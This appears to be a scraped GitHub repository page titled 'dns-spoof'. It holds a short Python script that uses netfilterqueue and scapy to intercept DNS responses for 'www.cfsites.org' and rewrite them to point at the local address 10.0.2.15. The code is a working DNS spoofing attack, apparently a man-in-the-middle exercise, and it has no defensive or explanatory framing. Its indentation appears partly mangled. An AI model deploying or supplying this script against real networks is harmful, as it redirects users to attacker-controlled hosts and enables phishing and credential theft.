rishavmehra / dns-spoof

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

dns-spoof

import netfilterqueue import scapy.all as scapy

def process_packet(packet): scapy_packet = scapy.IP(packet.get_payload()) if scapy_packet.haslayer(scapy.DNSRR): qname = scapy_packet[scapy.DNSQR].qname if "www.cfsites.org" in qname: print("[+] spoofing target ") answer = scapy.DNSRR(rrname=qname, rdata="10.0.2.15") scapy_packet[scapy.DNS].an = answer scapy_packet[scapy.DNS].ancount = 1

        del scapy_packet[scapy.IP].len
        del scapy_packet[scapy.IP].chksum
        del scapy_packet[scapy.UDP].chksum
        del scapy_packet[scapy.UDP].len

        packet.set_payload(str(scapy_packet))

packet.accept()

queue = netfilterqueue.NetfilterQueue() queue.bind(0, process_packet) queue.run()

About


Languages

Language:Python 100.0%